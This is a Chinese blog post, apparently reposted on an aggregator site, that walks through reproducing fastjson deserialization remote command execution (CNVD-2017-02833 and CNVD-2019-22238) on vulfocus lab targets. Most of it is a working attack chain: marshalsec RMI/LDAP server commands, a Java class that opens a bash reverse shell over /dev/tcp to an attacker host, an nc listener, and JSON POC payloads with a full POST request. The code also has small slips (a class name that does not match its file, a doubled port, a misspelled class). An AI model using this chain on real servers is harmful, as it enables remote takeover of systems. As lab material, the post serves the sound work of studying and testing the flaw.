irpas技术客

复现-fastjson远程命令执行漏洞_鹿先生呀_fastjson远程命令执行

未知 7167

fastjson 远程命令执行漏洞 学习过程,大佬勿喷!谢谢! fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。 版本 fastjson 1.2.24 CNVD-2017-02833 fastjson 1.2.47 CNVD-2019-22238 利用过程 rmi/ldap → http → 反弹 shell 思路: 通过rmi或者ldap服务远程加载代码,执行命令,反弹至本机,其中,远程加载代码需要用到http服务。 复现环境

1、靶机环境A:http://vulfocus.fofa.so/启动(名称: vulfocus/fastjson-cnvd_2019_22238:latest)和(vulfocus/fastjson-cnvd_2017_02833:latest)

2、vps服务器B:腾讯云服务器11.*.*.2 (服务器B为rmi服务器,也为http服务器、监听端口接收反弹shell,注意云服务器检查防火墙端口)

3、攻击环境C:本地windows10

准备工作 1、准备rmi/idap服务远程加载class文件 2、编译可执行的class文件 3、本机开启http服务,为rmi/idap服务下载class文件提前做好准备 4、开启监听端口 部署rmi/idap服务 通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class。 1、git clone https://github.com/mbechler/marshalsec #下载marshalsec项目 2、cd marshalsec #进入marshalsec目录 3、mvn clean package -DskipTests #通过mvn打包项目(提示:没有安装mvn需要apt安装),这个过程会生成一个targetw文件夹,找到marshalsec-0.0.3-SNAPSHOT-all.jar文件 编译可执行class文件 1、编写java代码Exploit.java文件,内容如下: import java.lang.Runtime; import java.lang.Process; public class Test { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.102/7777 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } 2、编译Exploit.java文件成Exploit.class,操作如下: javac?Exploit.java #同目录会生成一个Exploit.class文件. 开启http服务 python2 -m SimpleHTTPServer 8888 开启监听端口 nc -lvvp 7777 开始验证漏洞操作 主机B 开启rmi服务 java -cp?marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2:8888/#Exploit" 9999 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2此处为HTTP服务/#Exploit" 此处为rmi服务 或 主机B 开启ldap服务主机。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://11.*.*.2:8888/#Exploit 9999 POC为 名称: vulfocus/fastjson-cnvd_2019_22238:latest,POC如下: { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999/Exploit", "autoCommit":true } } 名称:vulfocus/fastjson-cnvd_2017_02833:latest,POC如下: { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999:9999/Exploitt", "autoCommit":true } 抓包分析和验证 修改get请求为post请求 POST / HTTP/1.1 Host: vulfocus.fofa.so:20457 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie:? Connection: close Content-Length: 199 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://11.*。*。2:9999/Exploitt", "autoCommit":true } 操作过程如下截图: 1、开启HTTP服务准备class文件,开启监听端口等待shell,开启rmi服务 2、开启靶场镜像环境 3、抓包,修改get为post,执行poc,等待。。。 4、监听端口接收shell 5、获取flag。收工 (郑重声明:以下内容仅供学习交流,如有用于其他非法操作,与本人无关。)


1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,会注明原创字样,如未注明都非原创,如有侵权请联系删除!;3.作者投稿可能会经我们编辑修改或补充;4.本站不提供任何储存功能只提供收集或者投稿人的网盘链接。

标签: #fastjson远程命令执行 #JSON #格式的字符串支持将 #JAVA #bean #序列化为